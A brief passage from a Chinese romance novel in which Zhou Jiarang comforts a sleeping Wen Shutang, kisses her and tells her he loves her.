腰侧覆上一道温热,温书棠翻了个身,大概是做了梦,咕哝着抱住他:“阿让…….” 周嘉让蹭蹭她的脸,贴过去在唇边亲了下:“在呢宝贝。” 看着她温软的面孔,他心中也漾开些许宁静,安抚道: “放心睡吧。”“我爱你。”